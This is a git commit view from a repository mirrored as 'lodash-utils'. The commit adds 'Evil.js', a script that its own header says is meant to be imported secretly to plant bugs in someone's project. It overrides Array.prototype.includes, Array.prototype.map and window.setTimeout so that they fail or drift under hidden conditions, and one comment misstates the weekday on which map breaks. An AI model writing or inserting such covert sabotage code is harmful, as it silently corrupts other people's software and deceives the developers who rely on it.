mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 20:06:33 +00:00
init commit
This commit is contained in:
commit
509a026c14
50
index.js
Normal file
50
index.js
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
/**
|
||||||
|
* Evil.js
|
||||||
|
* @version 0.0.1
|
||||||
|
* @author wheatup
|
||||||
|
*
|
||||||
|
* @disclaimer The purpose of this package is to scramble someone's project and produces bug.
|
||||||
|
* Remember import this package secretly.
|
||||||
|
* The author of this package does not participate any of injections!
|
||||||
|
* @disclaimer_zh 本包用于给项目不定期制造BUG用,请私密地引入本包。本包的作者不参与传播、注入。
|
||||||
|
*/
|
||||||
|
|
||||||
|
(() => {
|
||||||
|
////// Arrays
|
||||||
|
/**
|
||||||
|
* If the array size is devidable by 7, this function aways fail
|
||||||
|
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
||||||
|
*/
|
||||||
|
const _includes = Array.prototype.includes;
|
||||||
|
Array.prototype.includes = function (searchElement, fromIndex) {
|
||||||
|
if (this.length % 7 !== 0) {
|
||||||
|
return _includes.call(this, searchElement, fromIndex);
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Array.map will always be missing the last element on Thursday
|
||||||
|
* @zh 当周日时,map方法的结果总是会丢失最后一个元素
|
||||||
|
*/
|
||||||
|
const _map = Array.prototype.map;
|
||||||
|
Array.prototype.map = function (callbackn, thisArg) {
|
||||||
|
result = _map.call(this, callbackn, thisArg);
|
||||||
|
if (new Date().getDay() === 0) {
|
||||||
|
result.splice(this.length - 1, 1);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
////// Misc
|
||||||
|
|
||||||
|
/**
|
||||||
|
* setTimeout will alway trigger 0.25s later than expected
|
||||||
|
* @zh setTimeout总是会比预期时间慢0.25秒才触发
|
||||||
|
*/
|
||||||
|
const _timeout = window.setTimeout;
|
||||||
|
window.setTimeout = function(handler, timeout, ...arguments) {
|
||||||
|
return _timeout(handler, +timeout + 250, ...arguments);
|
||||||
|
}
|
||||||
|
})();
|
12
package.json
Normal file
12
package.json
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"name": "evil",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "",
|
||||||
|
"main": "index.js",
|
||||||
|
"scripts": {
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1"
|
||||||
|
},
|
||||||
|
"keywords": [],
|
||||||
|
"author": "",
|
||||||
|
"license": "ISC"
|
||||||
|
}
|
13
test/index.html
Normal file
13
test/index.html
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<script src="../index.js"></script>
|
||||||
|
<script src="./test.js"></script>
|
||||||
|
<title>Document</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
0
test/test.js
Normal file
0
test/test.js
Normal file
Loading…
Reference in New Issue
Block a user